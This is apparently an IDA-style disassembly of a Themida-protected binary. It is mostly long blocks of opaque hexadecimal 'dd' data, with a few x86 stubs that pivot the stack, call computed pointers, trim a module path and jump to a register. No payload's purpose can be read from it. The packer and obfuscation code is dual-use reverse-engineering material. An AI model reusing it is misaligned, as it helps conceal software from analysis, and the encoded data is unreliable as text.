0DA449275h, 0E786C5Ch, 2F7CD70h dd 6058309Ah, 5C0C60FEh, 0BE289286h, 0CB74A41h, 0FB1C129Bh dd 0C0D11B69h, 0E2037734h, 0B229FB38h, 5EF67143h, 4672C3C6h dd 7E75FBB2h, 9AF1C5A5h, 0E1DE3025h, 94h, 511B0F87h, 9FF5F858h dd 5A4E0407h dd 9F379790h, 8AF0E69Ch, 24951E87h, 6FE907FCh, 7BEE657h dd 7FCD6FE9h, 0F0C83280h, 0E60E7FFCh, 0F56FE907h, 0F36B13A7h dd 8308D220h, 0B5B84DEBh, 4912832Eh, 5069FC00h, 0FE381002h dd 0CEF7336h, 0B8267h, 4FBBAE00h, 63CDC1B1h, 7BDDD5C5h dd 91F7EDDDh, 0A60E03F3h, 0CE3C9B08h, 0E3D371D9h, 0FAEA88ECh dd 1303A101h, 1E1DBB19h, 5C244CBDh, 182B7601h, 0B11B0FC6h dd 0A9FE7013h, 0F44DE06Dh, 7EC78EF8h, 75000000h, 0AEB11B0Fh dd 0FE7B6F45h, 0E907658Dh, 8E26746Fh, 4ECB358Bh, 9019C45Fh dd 0E907F71Fh, 0C1E95A6Fh, 0C86FE907h, 0C32D7B7Ah, 0E1D9AF38h dd 0B5A2157Fh, 1869FB26h, 580D8DA6h, 0E168FC62h, 4B2A94C7h dd 0DC3B0BFDh, 0FDE07337h, 0AF258h, 0DF4B3E00h, 0F35D5141h dd 0B6D6555h, 21877D6Dh, 369E9383h, 5ECC2B98h, 73630169h dd 8A7A187Ch, 0A3933191h, 0AEAD4BA9h, 5DB4DC4Dh, 0A8BB7601h dd 0B7150F56h, 0A604FEB4h, 0EFCF86A3h, 1D7EC41Bh, 0EBE3B9D8h dd 369A9189h, 3A73DD33h, 233h, 74EA5CE0h, 727D25ABh, 0D786C02Ah dd 0AEFDF264h, 0F8A24DACh, 871A118Eh, 0B4CE6BDCh, 0F13F69FBh dd 5CD9A4F7h, 4746A291h, 0B7A011BCh, 0C65F8010h, 830C7578h dd 8011EA12h, 39A3F163h, 8732B1BCh, 0CE3028FEh, 8498F164h dd 53015D93h, 6A88FF59h, 355C02BFh, 0D15A059Dh, 9B9E06FBh dd 0F3554D45h, 58309AF0h, 7262005Eh, 0DD950778h, 2CD58EE7h dd 0F7C5ED80h, 3D3F656Bh, 37676A54h, 31C51312h, 0E00E7C5Dh dd 0BFD95EDh, 83C7C731h, 104EF3D6h, 2000000Ah, 3323C12Dh dd 4737D53Fh, 5F4FED4Fh, 75650369h, 0D7A1880h, 0E34B40B2h dd 0FA5E5545h, 13736C5Ch, 2D8B8575h, 0BE2F908Fh, 76015E96h dd 0F4092A5h, 53AEB11Bh, 0AD1EC958h, 69F1428Ah, 10822D7Bh dd 9647BB12h, 0A516C1ECh, 76012F7Dh, 49D43E8Ch, 7A187C73h dd 2C2F938Ah, 9C47DAD1h, 1334CE2Bh, 46F13F70h, 77157970h dd 292C9087h, 291B7973h, 793FD501h, 946207EAh, 9C000009h dd 0AF9F3DA9h, 0C3B351BBh, 0DBCB69CBh, 0F1E17FE5h, 89F694FCh dd 5FC7BC2Eh, 76DAD1C1h, 8FEFE8D8h, 0A90701F1h, 3AAB0C0Bh dd 76015E12h, 29B40619h, 58B6B086h, 74B7BEEh, 75696FE9h dd 5C52080Bh, 198AF3F6h, 6FE907F1h, 934CAAF8h, 0ECAB44B3h dd 0E0EB9E0Ch, 0E845B661h, 1969FB0Ch, 0C19720CBh, 0E6467C9h dd 5FD4CCA4h, 0FB11C6EEh, 0EF87D575h, 32B1BC51h, 658DFE87h dd 7475FB11h, 686BCFC6h, 85107A12h, 0FAC1514h, 3FEA3870h dd 73116F69h, 0A7188983h, 6FEFB47Fh, 0B6A8408Eh, 794348EAh dd 0ECE58A6Dh, 44000008h, 5747E551h, 6B5BF963h, 83731173h dd 9989278Dh, 319E3CA4h, 76F64D6h, 1E827969h, 37979080h dd 51AFA999h, 0E253B4B3h, 76015FBAh, 745CAEC1h, 6FE90748h dd 7ADED5ABh, 0E43E3810h, 0A18DD0E0h, 0A642D6B3h, 9F188F84h dd 3208B34Bh, 0EC6AD43Eh, 197B7349h, 0A83B32AFh, 8DB38CFDh dd 582E69FBh, 0B493FD61h, 0F0E5BB66h, 0C52F8588h, 0B6B643Ah dd 24847D6Dh, 8717C21h, 5C2A0000h, 0BF299186h, 18BC4B42h dd 3C171575h, 0F088EEE4h, 873CAD58h, 0A669FBE3h, 0B324AD58h dd 75FBEC8Bh, 0F7DA4492h, 5FBFB88Eh, 0D070A5Ch, 68C53D36h dd 0C7F366D0h, 0FF75FB1Fh, 0EEC44626h, 3D9396F4h, 929FF6D3h dd 11E6DE2Fh, 8C000001h, 0B3B6160Fh, 9FA206FDh, 8E91EFE9h dd 0E17FDFD8h, 9598F8F1h, 214ABA2Ch, 0F47343FBh, 3AA402FCh dd 8530C1BDh, 0E9B0B414h, 8A8DDB6Fh, 0C5947433h, 0DECE6CCCh dd 4DA85E5h, 51A7AA0Ch, 0C59B04E7h, 8F026CCCh, 6FE9AF6Bh dd 8B815700h, 0D36BCDC5h, 19E8C869h, 143CAD20h, 1B6FE9B0h dd 89B122CDh, 906FE9B0h, 770CAA42h, 110BEE7Bh, 75CAC042h dd 91C132DDh, 986FE91Dh, 9A91474Ah, 1FF59836h, 7733C725h dd 0B87B248Ch, 0F5ECC42Eh, 0B3258E91h, 0F1E8FE1Fh, 0A0348A8Dh dd 64CECF9Bh, 8934928Ch, 19678F00h, 28766FE9h, 0C584DBBEh dd 0BB1F16E5h, 0D2362D1Dh, 0EA7974CFh, 23A9CE3Fh, 0A5869FBh dd 21857C6Ch, 36C7C31Eh, 0CE61A8Bh, 0B70575FBh, 99B39A0Ch dd 0D308BEEAh, 702F8669h, 6CAC190h, 7412AA10h, 26298D84h dd 9641C0CBh, 0DED5825h, 0DD5FA970h, 10E18A8Ah, 0FD044498h dd 0AF008469h, 9C966C17h, 6656D43Eh, 7D6D0B6Fh, 32862484h dd 8C80636Ah, 6EDF8A22h, 69FB1FC9h, 5AC0B68Ch, 18C311F0h dd 0E4E74B42h, 8B41248Eh, 3B8F2D97h, 0DFE2616Ah, 0E907628Eh dd 0E1C19A6Fh, 1D7AB60Dh, 75FDD8h, 5CA30000h, 0C22C8E86h dd 7990F6EAh, 83F0304Bh, 9D0609A1h, 48A1132Bh, 6ED889ADh dd 0E95CD3FBh, 84ECE16Fh, 73D1CB81h, 1C1F857Bh, 0B01FFFB8h dd 0F6785817h, 0C925D84h, 9E32C407h, 0C263802Ah, 330B75D4h dd 395BD93Fh, 50A9250Ch, 0CD9B0DB8h, 0D2FA6B4Eh, 0D96FE9B1h dd 4181F78Bh, 27CA48B2h, 0FEFD5751h, 0A91CAD5Bh, 0D245AF47h dd 6FE9996Ah, 0FF767158h, 5C1FFFFFh, 25289286h, 938D65CFh dd 0EA04D935h, 86E2616Ah, 0CB3DC669h, 0E91B006Ch, 0E70FA2A4h dd 0F66FE978h, 5C023EA8h, 0C32D8D86h, 1D869FE6h, 70C6D5h dd 6A6C0000h, 5C86E261h, 35D84AD3h, 53CD649Ch, 8EBDE578h dd 82CC6FE9h, 11A8463h, 329C34ACh, 0E97797BFh, 0FF71FA6Fh dd 0F277F7C0h, 0EA12A5FDh, 0F16FE928h, 105A39A3h, 0E76FFA3Ah dd 4DF8904Ah, 1B1E7E77h, 9B1941B2h, 0D2206FE9h, 5C94D03Ah dd 90865C22h, 0F4E8C02Ah, 19552E8Ah, 0F47BEA5Ch, 0E5E6B432h dd 21E470BBh, 52BC54E8h, 318Bh, 616A3900h, 0D35C86E2h dd 7B1D94Ah, 6AB86FE9h, 7264EBFh, 0E7356FE9h, 7E20A7Dh dd 0B5436FE9h, 0EA32980Ah, 815FD667h, 225CDB17h, 55B11B0Fh dd 865C1955h, 0D52B2E8Ch, 791B92Ah, 4A986FE9h, 0AE1008E0h dd 0D5332D03h, 0F37886Bh, 846FE907h, 1E16E5C5h, 0FC931EBCh dd 886FE916h, 0FFF335A1h, 865C4FFFh, 0E7BF2991h, 56EB89F3h dd 0AF21CC57h, 80FA854Dh, 0C04BB5C6h, 153DAE37h, 246FE922h dd 28F96CD6h, 8169FB1Dh, 0F1C73033h, 0B72A94FCh, 75FB238Bh dd 360AEAC3h, 0DE2F9ADFh, 0E26h, 820CC00h, 7F000000h, 4C4FB1A9h dd 6A508CF6h, 0C435E063h, 69FB0FB3h, 73292C7Ah, 0EC77157Fh dd 75FB1087h, 9B4140Dh, 6BD53F33h, 0A404FDEDh, 0C92B23F9h dd 84647C5Fh, 71E26BF6h, 75FB1049h, 0F7980250h, 0C5BF9517h dd 10BBE354h, 74C275FBh, 0A19A72DCh, 0B9B3A341h, 8F89815Bh dd 0BCB08631h, 0E36A752h, 1D75FB10h, 0CCAB65CFh, 6C663515h dd 0AF8140Eh, 0D89D86B3h, 0DAFAh, 0D35CA000h, 0E9073A62h dd 0D67BAC6Fh, 41F51432h, 0D8AF442h, 5C248011h, 0E907BEEBh dd 9CB1236Fh, 3221CB55h, 0DD6BF05Ah, 0FDD35C81h, 4CA2A503h dd 70830A1h, 0C9176FE9h, 0EA5C235Fh, 0FCF1FAB8h, 9C3DA7DDh dd 150F83B6h, 42360CB7h, 72C54C5h, 0E5336FE9h, 4A7E34Dh dd 90865CEAh, 0E60E7F2Ah, 0F56FE907h, 0CFC03DA7h, 1569DC38h dd 3A62D35Ch, 416FE907h, 65AC89F3h, 8CD51D87h, 35h, 0E2616A32h dd 0A8686137h, 0F1474AB4h, 5CB3EF59h, 0E907C3EBh, 207CCA6Fh dd 0D35C225Ch, 0E9073A62h, 9F93416Fh, 44DC3235h, 0A40E02DAh dd 20195548h, 21h, 8C865CCEh, 4647C42Eh, 0EB5C63BFh, 6FE907C3h dd 0D9413624h, 225CE541h, 5D511B0Fh, 55FF5BF3h, 0FF1D2019h dd 0FCEFFFFh, 4BB4B715h, 0AD178175h dd 946ADBD5h, 0DE34379Fh, 0E907234Bh, 44DC2A6Fh, 342D03A6h dd 117BD1D4h, 5F0A9994h, 0A20C00D6h, 1E08C538h, 0EB3969FBh dd 226B97E8h, 8B8175FBh, 0D169CFC5h, 0BC2218CEh, 0B7DF50B9h dd 0C675FB22h, 4222D978h, 1D14AD7h, 0EE8623D1h, 0DD5F3F18h dd 0A6A91307h, 0B209E650h, 0F9DE3064h, 34h, 0E0636A9Fh dd 11C3C435h, 0FC4A69FBh, 0C2BA90F9h, 1EB4DC4Dh, 6DBB75FBh dd 0CCF86BD5h, 475FB1Eh, 20774B2Bh, 67DE2F92h, 10Ch, 8EF0E8BEh dd 8FCB358Bh, 0B4B7150Fh, 2951C24Bh, 306FE907h, 0ABA078E2h dd 888BE9E3h, 7DEF9A32h, 4539C0EEh, 0EE82D8DBh, 66D0D4A5h dd 75D3CD83h, 97FFF4CAh, 0BE14A2Dh, 0F5534D17h, 1049CF2h dd 0D322A4AFh, 740C375Bh, 0DA38320Ah, 0D35A62Fh, 1C6FE9E8h dd 5BE664CEh, 6FE9E3EBh, 93318F89h, 0A04BA9A3h, 6B6ED4CAh dd 5FC8AB15h, 0EC3D65D6h, 24C6FE9h, 0BC2BE8Bh, 3CA63EA1h dd 8A35CCBFh, 0FBA06019h, 7D1B6969h, 0B35EE5E8h, 0D4CBA12Ah dd 60B5DD70h, 0D1CB75FBh, 1B1A7073h, 5AF063CDh, 19701002h dd 8F894B43h, 40969931h, 7AADF7D6h, 6CDB315Fh, 6F45F088h dd 8474127Ah, 6935278Fh, 0E2794346h, 2715AFFh, 0CCBF0000h dd 0DED2C260h, 0EEE6D674h, 8FEEE8Ch, 1F1404A2h, 4DAC19B7h dd 0E482EADFh, 0FB99FDF4h, 14B2120Bh, 2ECC2A24h, 355DCE2Fh dd 44760165h, 0EA5CDF31h, 0B47405C5h, 0A37BE56Ah, 0B8A846AEh dd 6EC260BEh, 2B8F865Ch, 5A4944C1h, 0A3F9FC66h, 14EE600Bh dd 88E8E17Fh, 249B2F85h, 5AE54F63h, 0FBC7E8E9h, 0D0D32169h dd 0FBA8537Fh, 0D2B28B75h, 0CD3EC750h, 75FBA8A5h, 0ABD366B4h dd 0B275FBA8h, 0C61DFA64h, 0DDE301Bh, 0B9h, 0B7150FB3h dd 4109FEB4h, 93E5E848h, 92B53A86h, 952DC542h, 2C1178EAh dd 8124D048h, 73E33417h, 16FE9FBh, 1B0BA907h, 96B6321h dd 0B4B71911h, 68C3C65Eh, 0C233DE65h, 69FC2109h, 8124C210h dd 5A52B2ABh, 0A6FCFF63h, 35CCBF3Ch, 6890018Ah, 7775FBE5h dd 0C334BF29h, 70108C8Ch, 26984391h, 0D161C328h, 911C8617h dd 0C05EC6BBh, 8173DBD0h, 79432313h, 6C9C4124h, 0C4000001h dd 0D7C765D1h, 0EBDB79E3h, 3F391F3h, 1909A70Dh, 0B11EBC24h dd 87EFE456h, 9E02F9E9h, 0B7171000h, 0D12F2919h, 62D33433h dd 7601663Ah, 0FDC2E41h, 7114B21Ah, 0D43EA69Bh, 6A402FCh dd 0B7150FB2h, 0A604FEB4h, 0E9787308h, 9510CC3Eh, 20914B4Dh dd 5DBA2BB6h, 69FBC1h, 3CD5312Ah, 50946B9Ch, 0D22427BFh dd 4CB48B85h, 0FB65FDC9h, 4D23CE1Ch, 6757F553h, 0B10C0F6Dh dd 0F37C27BAh, 0B165F86Ah, 5E302B14h, 0FBF3A3CBh, 33B21575h dd 0FBA748E9h, 9203AEFCh, 75FB6A6Ah, 46B92371h, 7003A82Bh dd 0FD61582Eh, 7466B493h, 793FD60Eh, 0B8852A0Dh, 78000000h dd 8B7B1985h, 9F8F2D97h, 0B7A745A7h, 0CDBD5BC1h, 65D270D8h dd 3BA3980Ah, 52B6AD9Dh, 6BCBC4B4h, 85E3DDCDh, 1687E8E7h dd 760167EEh, 6A98EAFDh, 28868063h, 6574E590h, 0A869F145h dd 0A7A1575Ah, 0C1BBAB49h, 460F6063h, 5E351D4Ah, 4D030664h dd 0D0ECEF59h, 29C83717h, 0C9C39272h, 0AFB2120Bh, 0EDEDC559h dd 42F4179Eh, 788DFFAAh, 0B8942FF4h, 34D755BFh, 9C06645Eh dd 696CCAC4h, 0FEF7BDB3h, 4D03069Eh, 38EEF157h, 7BD8DB43h dd 0DC75E4C4h, 746E3D1Dh, 36F96B16h, 0F3865E8h, 197B736Bh dd 0D856C016h, 8D90EEE8h, 0AE8h, 865C9600h, 0D42A2D8Dh dd 0FDC186Ah, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh dd 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 89522404h dd 4C281E2h, 83000000h, 148704EAh, 2C895C24h, 6CCF6824h dd 34890000h, 461F6824h, 2C8B0618h, 4C48124h, 83000000h dd 248904ECh, 24048324h, 0BB535E04h, 8, 8F55F301h, 34FF5B03h dd 0C4835E24h, 242C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54EA15 ; --------------------------------------------------------------------------- dd 0F2871434h, 0E167ED52h, 6146B8BEh, 0C5030618h, 7185C650h dd 47061228h, 38172568h, 0B1B5FFCFh, 8D061203h, 123B5D85h dd 8BD0FF06h, 31858DD8h, 5006120Ah, 10468h, 0C6D3FF00h dd 12287185h, 0BF685306h, 0FF8307F8h, 1203B1B5h, 5D858D06h dd 0FF06123Bh, 0F38589D0h, 83061843h, 120D99BDh, 840F0006h dd 0Bh, 34E59D8Bh, 5E90612h, 0BB000000h, 0 ; --------------------------------------------------------------------------- push 100h lea esi, [ebp+61843F7h] push esi push ebx call dword ptr [ebp+6121DB1h] lea esi, [ebp+61843F7h] add esi, eax jmp loc_5ACC6D ; --------------------------------------------------------------------------- loc_5ACC6C: ; CODE XREF: Themida_:005ACC79j dec esi loc_5ACC6D: ; CODE XREF: Themida_:005ACC67j cmp byte ptr [esi], 5Ch jz loc_5ACC7F cmp byte ptr [esi], 2Fh jnz loc_5ACC6C loc_5ACC7F: ; CODE XREF: Themida_:005ACC70j mov byte ptr [esi], 0 lea eax, [ebp+61843F7h] push eax call dword ptr [ebp+61843F3h] pop eax jmp eax ; --------------------------------------------------------------------------- dw 0F0Bh dd 5B2141E0h, 7B872BBDh, 17797884h, 8D8D4A49h, 6186326h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B6C35747h dd 0C78B66C5h, 9A18D89h, 0C7F80612h, 12050585h, 664C06h dd 0ABF6600h, 0D985C7C0h, 6121Bh, 0FF000000h, 1206ADB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0A195894Dh, 0FF061207h, 121B3195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 1BBB667Eh, 0FF006A75h, 1219CD95h, 0EBC08B06h, 2A55C14Eh dd 70D4DC15h, 0F71B15A3h, 653C7276h, 0E094657Dh, 24F922BCh dd 0E6CCBD33h, 0B8759B85h, 378092A6h, 96B6AA8Fh, 0C6507D1Eh dd 887941F6h, 41ECB229h, 84922217h, 46CE7579h, 1A98625h dd 5B2AFB81h, 33A3A67Bh, 6893D772h, 0E84C6147h, 11h, 0A42A7AB1h dd 640CBEA5h, 0F0BAC6BCh, 603E9EDBh, 5DB58BF7h, 5A06121Ch dd 9171BB60h, 0BA6647C1h, 81611B07h, 6256C2h, 0E4BB6600h dd 0B996h, 81660000h, 8B1B46CBh, 10E90A04h, 0C8000000h dd 0FB487312h, 34BA42C3h, 7644A220h, 81AB7891h, 0FC1BD6E8h dd 9B5330Eh, 81061221h, 7E27DCC0h, 19B58B79h, 81061212h dd 16A2EFF0h, 820F501Ch, 0Ch, 6880Fh, 0BD8B0000h, 6120E91h dd 0F80A048Fh, 6810Fh, 0BD890000h, 6120DA5h, 2B03E983h dd 1220E9B5h, 6E84906h, 4B000000h, 51E6E76h, 4860F52h dd 66000000h, 5B97A5BFh, 9E68F981h, 850FFFFFh, 0FFFFFF7Bh dd 21BDB58Bh, 8D8D0612h, 618650Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0F2C35545h, 89FCA33Dh, 1209A18Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 78E1D9D5h, 1CDB3E9Bh, 858B39E8h, 61234B1h dd 50585C7h, 6D480612h, 8B660000h, 0C1B589C1h, 0C7061205h dd 121BD985h, 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 8FF04E44h, 0C617454Dh dd 3DBD8B93h, 0FF06121Dh, 122DB9B5h, 12E95006h, 0AA000000h dd 0FCB0B6ACh, 0A86DC4F5h, 0F4F229C8h, 0F440122h, 95FF5F20h dd 6121B31h, 2D75958Bh, 6A0612h, 19CD95FFh, 0C08B0612h dd 1EA24FEBh, 0C2A9F9D1h, 39F3A3E6h, 0DDF77A1h, 152CA0FCh dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h, 0A0F85E52h dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh dd 6E821h, 29DB0000h, 0CA151033h, 8B5EE78Ah, 1213B98Dh dd 45C68106h, 8B000062h, 12237D95h, 0AEB4BB06h, 0EB811860h dd 18609659h, 5860Fh, 81660000h, 0FF5CF6D8h, 1FCC8036h dd 0C5B5895Fh, 81061226h, 5DAE8F7h, 14E817h, 68CE0000h dd 0AAF23B8h, 0F7F42D93h, 0F5D10209h, 0D7ECD87h, 858B1B25h dd 61231A5h, 76F78158h, 9676687h, 1217E995h, 5DEF8106h dd 81753086h, 7D9769F0h, 0E860572Bh, 5, 8D8B4E21h, 0F5850BA1h dd 5A06121Bh, 2299958Bh, 8F610612h, 0BD8D2B06h, 83061226h dd 952302EEh, 6121B8Dh, 0BD894E4Eh, 6120509h, 0F01EB83h dd 1A85h, 0E0816600h, 1CE907DAh, 0D5000000h, 7889BB8Dh dd 9F7F7CF3h, 0FC920A2Ch, 0F52BF8DFh, 0FFFF5AE9h, 1F4E0DFFh dd 0E88F5294h, 5, 3F340784h, 199589EEh, 5E061230h, 2C498589h dd 0C6810612h, 6763h, 0C92B20B2h, 5890Fh, 81660000h, 0FF7B42C0h dd 58B83134h, 5B1B48BFh, 2DC19589h, 0EB810612h, 1FB777B4h dd 8170D080h, 0A45287F3h, 0B70F5073h, 0EB815FC3h, 651B3C52h dd 68C0Fh, 958B0000h, 6121E95h, 8B0E1C89h, 0FFB70FC6h dd 0B04E983h, 122D2DBDh, 18F98106h, 0FFFFF99h, 0FFFFAE85h dd 0E98531FFh, 0E906122Fh, 37h, 6EFCCE6h, 0E61D8C93h, 2E81E89Dh dd 6C64746Eh, 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h dd 5 dup(0) dd 0E9000000h, 6DFh, 18683668h, 18EBE906h, 868FFFAh, 0E9061869h dd 0FFFA18E1h, 1869AD68h, 18D7E906h, 0AB68FFFAh, 0E906186Ah dd 0FFFA18CDh, 186B6168h, 18C3E906h, 5068FFFAh, 0E906186Ch dd 0FFFA18B9h, 58F66255h, 6C0A7468h, 8422847Ch, 9A389E94h dd 0AF4DB5AAh, 8075E742h, 938A7A18h, 0A8A1912Fh, 0C0BAAA48h dd 64C5C462h, 16ECBF3h, 6DBFD276h, 3620h, 150FCE00h, 4FEB4B7h dd 63C5BD93h, 0E907A8D0h, 0D169B76Fh, 6D8FB426h, 0FF02605Ah dd 699315A9h, 4DF06ED8h, 0B21C8077h, 0E953133Fh, 0D030296Fh dd 0C1B98F32h, 6AB9F55Fh, 0C435E063h, 69FB2D8Fh, 6D0180F2h dd 0B4188138h, 1A1D6B4Ah, 0FBE59DC9h, 1CFCD575h, 3058F148h dd 24A38DEh, 0ADDE0000h, 0C85B5287h, 2F0FAC1Dh, 0B0FE69FBh dd 0C94663B6h, 3239B1D9h, 5E9304AFh, 6F2C37BCh, 0DFB51E21h dd 0A01D87E5h, 0FA6B16ADh, 2E2B1FA1h, 0B6F663Ch, 0E1C7EF60h dd 88D63224h, 46F13F1Eh, 0AB157970h, 0F2504A20h, 0E6DBB154h dd 2DC5251Eh, 93F1EBC3h, 0DBEF4A1h, 0BD6245B7h, 4F7h, 48E65245h dd 5CFA6458h, 7412746Ch, 8A288E84h, 9F3DA59Ah, 7065D732h dd 837A6A08h, 9891811Fh, 0B0AA9A38h, 54B5B452h, 16FBBE3h dd 5DAFC276h, 0B4B7150Fh, 4BBC5259h, 6FE90723h, 9944DC2Ah dd 3D299E10h, 79E1CC60h, 7408605Bh, 0A7462C1h, 0FBC2EA97h dd 84794F69h, 85D3B21Ch, 1C9F95E7h, 0EBEE4C46h, 0BFAE2B95h dd 6B087924h, 9A700DEBh, 4F021A50h, 0BA3D6F0h, 0D1FBBE11h dd 616CF774h, 42C537E2h, 0D5AEF92Bh, 73E46FD9h, 2983D3Eh dd 0A3FE014Fh, 0FD6E19A8h, 88BB4A4h, 0FB2394F5h, 6D08834Ch dd 0A2DE8EADh, 2AD8D782h, 9C34CC36h, 0C3211BF1h, 0D4108225h dd 0F9FEA1C7h, 6D673FA9h, 4F52BAAFh, 1C6F61F9h, 9E0AF5Dh dd 4258126h, 24170000h, 362A1AB8h, 463E2ECCh, 605646E4h dd 776C5CFAh, 0A504710Fh, 3CDA4237h, 53F1554Ch, 6C0A6A63h dd 8624827Ch, 8DB52687h, 9C760170h, 0D35C3789h, 0E9073A62h dd 0E4F7416Fh, 505C93AFh, 2D056F07h, 0B82AD533h, 0F5D357A6h dd 593CA6A8h, 0C9740FFEh, 0FB8B6B58h, 1ACFA69h, 7CDF0778h dd 0A4EE75FBh, 4B6A3333h, 0FC66FE06h, 0FFE2E97Eh, 4BA1A408h dd 959708B3h, 470043Bh, 0C4E20A7Bh, 9BE96FF3h, 59045231h dd 8D2B8983h, 4245A39Dh, 0B25DE4E7h, 5CB9441h, 6557A56Ah dd 7330E414h, 806D12F5h, 0BC000003h, 0CFBF5DC9h, 0E3D371DBh dd 0FBEB89EBh, 11019F05h, 0A916B41Ch, 7FE7DC4Eh, 96FAF1E1h dd 0AF0F08F8h, 0C9272111h, 5ACB2C2Bh, 76017032h, 5CD42639h dd 0C02A9086h, 8D90EEE8h, 0AD0B224h, 466A1189h, 756C5FDCh dd 2C201880h, 0E7F2AC2h, 69FBCF05h, 8528C614h, 0C155B7AFh dd 0E5B57986h, 61289272h, 1A7h, 6D6137C0h, 17AA0003h, 75FBB6EFh dd 0A46B0FEh, 3A62D35Ch, 416FE907h, 0EA4F89F3h, 557DEE77h dd 646FE907h, 0C3271E16h, 0F2D1DC59h, 419396FCh, 92BDE48Eh dd 952DC505h, 0B91D14EAh, 0B653C44Fh, 6769FC06h, 60CC1F19h dd 43A0E8E2h, 640F796Dh, 170ECBF3h, 1A84D263h, 6813AE9Dh dd 293DE2F7h, 0C8C1975Dh, 0A50F6568h, 1A7578C6h, 0FE59013h dd 0C14CB616h, 38B0F750h, 0ACA47A5Fh, 0B301E04Ah, 0DA383208h dd 0CCC3993Ch, 2C26FE68h, 5093DCCEh, 7F628620h, 282DAh dd 5BC7BA00h, 6FD9CDBDh, 87E9E1D1h, 9D03F9E9h, 0B21A0FFFh dd 0DA48A714h, 0EFDF7DE5h, 6F694F8h, 1F0FAD0Dh, 2A29C725h dd 713058C9h, 2C3F7601h, 0B7150FDAh, 84D94BB4h, 0FD4CB3A1h dd 1D108DF7h, 0D05DB86h, 45B641ABh, 69FB3D98h, 0DB0374FDh dd 0E275FB42h, 0FD4B2A94h, 0F0E6BC5Fh, 0CBCE342Ah, 84DADD75h dd 0F558E01Ah, 4FC06BF6h, 700D69B2h, 0C81B1563h, 0E10901C1h dd 10D2CAA0h, 5FB5B816h, 0EDE05DC7h, 253AAB56h, 4F8DD31h dd 5558B3B6h, 59B223CEh, 14F2F045h, 7CE6443Eh, 0CEA44F9Dh dd 0E8D876D4h, 0D23C30EEh, 0EFE179CFh, 0EA62E57Eh, 0CCE3886Bh dd 70000001h, 8373117Dh, 9787258Fh, 0AF9F3D9Fh, 0C5B553B9h dd 5DCA68D0h, 339B9002h, 4AAEA595h, 63C3BCACh, 7DDBD5C5h dd 0E7FE0DFh, 760172E6h, 0F90E2F5h, 59B4B715h, 4E24CF52h dd 9FDF555h, 39AA359Fh, 69FB1E4Ch, 978793DDh, 52042C9Dh dd 0BD0B75FBh, 0F7F64C29h, 5C6DC15Fh, 73A62D3h, 0F3416FE9h dd 82010C89h, 605E66D7h, 780169F1h, 16DDF07h, 9DFBF576h dd 0F745449Ah, 0B560AE8Dh, 0E987E5DFh, 15797046h, 7BD9D3ABh dd 332E1D78h, 7FD5D83Ch, 272A9287h, 58E39D1h, 16D6C94h dd 0CFC57376h, 78106669h, 0BA248A80h, 0C6C4BE2Fh, 5537009h dd 2C8A845Ah, 46A49E8Eh, 4BE5E843h, 0E907B2DAh, 749C0D6Fh dd 7B6FE907h, 48E02E2Dh, 166B2C9Dh, 20F669FBh, 69BFC22Ch dd 38F907D5h, 9D07785Eh, 657E70BEh, 0F07336F4h, 0DD680Dh dd 6C5F0000h, 7E726200h, 8E867614h, 0A89E8E2Ch, 0BFB4A442h dd 0ED4CB957h, 84228A7Fh, 9B399D94h, 0B452B2ABh, 0CE6CCAC4h dd 0D5FD6ECFh, 0E4760173h, 636A7FD1h, 0D6C435E0h, 5969F160h dd 0C99F080Bh, 29016BD5h, 4333D12Fh, 3F67D849h, 0B976016Dh dd 8431267Ah, 62B0AF78h, 0CE6D9FCEh, 14AC27F9h, 9EDCC011h dd 3B327537h, 0FA6BD4D7h, 76D85FD2h, 9D938BD9h, 17D03437h dd 7229C837h, 6BC9C392h, 8DF5EAC0h, 4CCA348Ah, 80F1625Ch dd 76D85F58h, 7E811967h, 92038C15h, 76D85F6Ah, 68902371h dd 7776D85Fh, 0F3A9529h, 43D31071h, 0A50B01D9h, 8FF7ECA2h dd 7CDED68Ch, 83632279h, 49D27B14h, 0D80DB0D8h, 771BF76h dd 0BDB78666h, 0D7D1C15Fh, 0FEF8CE79h, 0AE5336A0h, 3, 0F59955Ch dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 81E18951h dd 4C1h, 4BE5600h, 29000000h, 0C875EF1h, 54685C24h, 89000018h dd 8956241Ch, 4C681E6h, 81000000h, 4EEh, 24348700h, 2404895Ch dd 0F61FFB68h, 0D3F75B53h, 4BEBD14Bh, 7746C381h, 8B54B013h dd 0C4812404h, 4, 9B85053h, 295F7660h, 58042444h, 8108408Fh dd 60090840h, 34FF5F76h, 0C4815824h, 4, 52241C8Bh, 0C281E289h dd 4, 8704C283h, 0E95C2414h, 0FFFA1225h, 1CEF6DDh, 0D70ABB78h dd 3E98891Bh, 0B8B338BAh, 6186D52h, 0E0FFC503h, 233A1C15h dd 6145722Ah, 3D202255h, 10A15D45h, 413047AFh, 4BDD3ADCh dd 20A4FBB6h, 4942FB60h, 9BEA6FFh, 43D676A0h, 73D4D0C9h dd 27602BDFh, 1509196Fh, 431ED8FEh, 2D7F7E0Dh, 3BC3E5A5h dd 4F58454Dh, 3ACE7373h, 22F5DF6Dh, 6A76CDADh, 5F6A7050h dd 241FFD6h, 30FD53A8h, 7D64BA8Bh, 414CAD57h, 45C1BA64h dd 0E0DBC59h, 0CE8h, 0BEE86B00h, 